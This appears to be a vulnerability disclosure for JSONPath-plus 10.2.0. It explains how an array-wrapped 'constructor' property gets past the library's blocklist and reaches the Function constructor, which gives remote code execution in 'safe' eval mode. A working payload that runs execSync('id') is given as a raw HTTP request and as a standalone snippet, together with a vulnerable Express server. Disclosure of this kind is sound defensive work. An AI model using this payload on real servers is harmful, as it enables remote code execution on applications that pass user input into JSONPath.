Several patches were applied to JSONPath-plus to prevent untrusted JS execution from occurring when evaluating a path with the default eval='safe'
mode. After the storm subsided, 10.2.0 was deemed to be safe. I have written a payload that allows for arbitrary JS execution when evaluating a path in safe mode. This allows for RCE in server side contexts that allow calls to JSONPath() with a path constructed from user input. In client side contexts, that allow calls to JSONPath() with a path constructed from user input, this can lead to XSS.
This was reproduced against an Express JS server running on NodeJS 22 with the following code.
const express = require('express');
const bodyParser = require('body-parser');
const {JSONPath} = require('jsonpath-plus');
const app = express();
const port = 3000;
// Middleware to parse JSON bodies
app.use(bodyParser.json());
// POST endpoint to accept message and jsonpath
app.post('/query', (req, res) => {
const { message, path } = req.body;
if (!message || !path) {
return res.status(400).json({ error: 'Both message and path are required.' });
}
try {
const result = JSONPath({path, json:message});
res.json({ result });
} catch (error) {
res.status(400).json({ error: 'Invalid JSONPath or message.', details: error.message });
}
});
app.listen(port, () => {
console.log(`Server is running on http://localhost:${port}`);
});
POST /query HTTP/1.1
Host: 192.168.1.156:3000
Content-Type: application/json
{"message":{"a":1},"path":"$..[?(p=\"console.log(this.process.mainModule.require('child_process').execSync('id').toString())\";a=''[['constructor']][['constructor']](p);a())]"}
The following raw HTTP request to the server results in RCE by escaping the AST evaluator and calling the true Function constructor.
A pure example that may be easier to reproduce this with can be seen with the following block of code.
const { JSONPath } = require("jsonpath-plus");
const exampleObj = { example: true }
const userControlledPath = "$..[?(p=\"console.log(this.process.mainModule.require('child_process').execSync('id').toString())\";a=''[['constructor']][['constructor']](p);a())]";
JSONPath({ json: exampleObj, path: userControlledPath});
The AST Evaluator now has checks intended to prevent the evaluation of the member expression of the properties in the BLOCKED_PROTO_PROPERTIES
set. This is to prevent acquistion of a reference to the true Function constructor, and to prevent prototype pollution.
const BLOCKED_PROTO_PROPERTIES = new Set([
'constructor',
'__proto__',
'__defineGetter__',
'__defineSetter__'
]);
The check is implemented in such a way that it can be bypassed by passing a prop value that is not a string, but will be turned into a string containing a forbidden value when .toString() is implicitly called on it when obj[prop]
is evaluated.
if (!Object.hasOwn(obj, prop) && BLOCKED_PROTO_PROPERTIES.has(prop)) {
throw TypeError(
`Cannot read properties of ${obj} (reading '${prop}')`
);
}
const result = obj[prop];
So while the prop="constructor"
would be caught by this blacklist and prevented, prop=["constructor"]
would not, and the call to obj[prop] would return obj.constructor. This is how our payload is able to get a reference to the true Function constructor so that we can call it with arbitrary user input and get full blown JavaScript execution in eval='safe'
mode.